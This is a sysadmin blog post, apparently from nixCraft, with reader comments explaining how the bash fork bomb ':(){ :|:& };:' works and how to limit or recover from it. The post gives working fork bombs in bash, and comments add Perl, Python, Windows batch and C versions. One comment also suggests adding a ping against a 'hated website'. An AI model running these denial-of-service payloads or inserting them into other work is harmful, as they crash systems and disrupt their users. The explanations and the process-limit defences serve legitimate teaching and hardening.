Understanding Bash fork() Bomb ~ :(){ :|:& };:

Posted on in Categories , , , , last updated September 2, 2012

Can you explain the following bash code or bash fork() bomb?
:(){ :|:& };:

The fork bomb is a form of denial-of-service (DoS) attack against a Linux based system. It makes use of the fork operation.

:(){ :|:& };: is nothing but a bash function. This function get executed recursively. It is often used by sys admin to test user process limitations. Linux process limits can be configured via /etc/security/limits.conf and PAM.

Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting the system as the only solution to a fork bomb is to destroy all instances of it.

WARNING! These examples may crash your computer if executed.

Understanding :(){ :|:& };: fork() bomb code

:() – Defined the function called :. This function accepts no arguments. The syntax for bash function is as follows:

foo(){
 arg1=$1
 arg2=$2
 echo 'Bar..'
 #do_something on $arg argument
}

fork() bomb is defined as follows:

:(){
 :|:&
};:

:|: – Next it will call itself using programming technique called recursion and pipes the output to another call of the function ‘:’. The worst part is function get called two times to bomb your system.

& – Puts the function call in the background so child cannot die at all and start eating system resources.

; – Terminate the function definition

: – Call (run) the function aka set the fork() bomb.

Here is more human readable code:

bomb() { 
 bomb | bomb &
}; bomb

Properly configured Linux / UNIX box should not go down when fork() bomb sets off.

Related: How to: Prevent a fork bomb by limiting user process under Linux.

Update: Check out comment # 5 for more fork bomb examples under Perl, Windows XP and C.

Posted by: Vivek Gite

The author is the creator of nixCraft and a seasoned sysadmin and a trainer for the Linux operating system/Unix shell scripting. He has worked with global clients and in various industries, including IT, education, defense and space research, and the nonprofit sector. Follow him on Twitter, Facebook, Google+.

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32 comment

  5. Perl exmaple:

    perl -e "fork while fork" &

    Python example:

    import os
  while(1):
      os.fork()

    Windows XP / Vista bat file example:

    :bomb
start %0
goto bomb

    UNIX style for Windows:

    %0|%0

    C program example:

    #include 
 int main() {   while(1)      fork();  }

    Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.

    Reply Report comment

  6. An other one is that when you have set a quota for your mailboxes and crontab is generating mail over and over eventually the quota will exceed, after a while the mailq will fill up with 1000’s of mail and the system will crash.

    Reply Report comment

  7. Hi,

    i run it on my testing server and it start consuming my server process.
    so one thing is clear from this form bomb that it starting issuing new processes rather than threads.

    how we prevent our sites from such fork attacks

    Thanks in advance

    Reply Report comment

  11. Sleek code :)

    I tried on FC4. Took only 1 minute as root.

    In WinXP, I waited till 7 minutes. Displayed some errors and all, but was responding. Tried MS Word, Task Manager, nothing could be executed. The machine was useless untill reset.

    Reply Report comment

  14. A fork bomb process which can no longer fork exits. The following short Z Shell code will typically get rid of the above fork bomb in about a minute:

    while (sleep 100 &!) do; done

    It keeps trying and will eventually start a new do-nothing process; Each new do-nothing process reduces the number of rampant “fork bomb” processes by one, until eventually all of them are eradicated, at which point the do-nothing processes can exit.

    Reply Report comment
  24. :(){ : | : & }; :
    • :() is a function name with the open and close parenthesis representing no parameters. The body of this function is within the braces {}.
    • : | : is a recursive call since : is the name of the function. The function gets called twice and is piping input from one call to the other.
    • & backgrounds the previous function call so that it will not die.
    • ; finishes the function declaration.
    • : Calls the function just defined.
    Reply Report comment

  25. I did the %0|%0 command in Windows XP. Type into Notepad and saved as FORKBOMB.BAT then double-clicked. Fortunately, I already had task manager running, so I right-clicked explorer and hit “end process tree” which left me with a blank desktop. I then used Alt+Ctrl+Del to reopen Task Manager and from there, typed explorer.exe in the RUN dialog to get Windows back up without rebooting.

    If you add an additional command, for example:

    PING [insert url of hated website]

    you can spam out DOS attacks as well while you watch your computer crash. Seriously people, don’t do that…

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  26. It’s almost a right-of-passage to get tricked into running this command when you get your first system. Part of unwinding why your system just crashed actually teaches you quite a bit about unix pipes.

    For that reason I’m partly sad that in at least Ubuntu 12.04, the default ulimit setting prevents the bomb from taking down the system.

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  27. There is a minimal “cure” for this.

    Classic REISUB Linux magic key combo always works for rebooting computer, however, using Alt+SysRq+K will stop all processes on current tty. In the case it doesn’t work, probably you’re on X server and need to use Alt+SysRq+RK.

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    1. Ooops! Totally crashed. fork: Cannot allocate memory. Then Call Trace. Then, not responding to anything, just call trace. Awesome! Is this second to vmsplice?

      More power nixCraft!

      Reply Report comment

  29. Why can you create a function named : at all?

    :(){ echo colonfunc; }
    :
    colonfunc

    This works for in interactive shell, but not if you put this into a script.
    cat < colon.sh
    #!/bin/sh
    :(){ echo colonfunc; }
    :
    NNNN
    chmod +x colon.sh
    ./colon.sh
    ./colon.sh: line 2: `:': not a valid identifier

    This is what I would expect.
    I’ve noticed some but not all versions of bash also allow you to use:
    * @ , ? . + – =
    and other punctuation characters as shell function names.

    % @(){ echo colonfunc; }
    bash: syntax error near unexpected token `}’

    This behavior I would expect. However, try this on my OSX Macbook:
    % @(){ echo colonfunc; }
    % @
    colonfunc

    This is strange, it worked.

    What is the difference? Bash versions.
    @ works with:
    GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin16)
    @ does not work with:
    GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)

    Even worse, you can call some functions with punctuation names, but you cannot call them as functions. You can list shell functions with “set | less”. Now search /colonfunc in less for all of the shell functions:

    % () 
{ 
    echo colonfunc
}
, () 
{ 
    echo colonfunc
}
. () 
{ 
    echo colonfunc
}
= () 
{ 
    echo colonfunc
}

    % is a function, but you cannot call it.

    % %
    bash: fg: %: no such job

    But this works just fine:
    % =
    colonfunc

    This behavior varies between versions of bash. The fact that shell does allow some punctuation characters as function names seems like a bug. The fact not all versions of bash allows the same set of punctuation characters as function names seems to verify this theory.

    Reply Report comment

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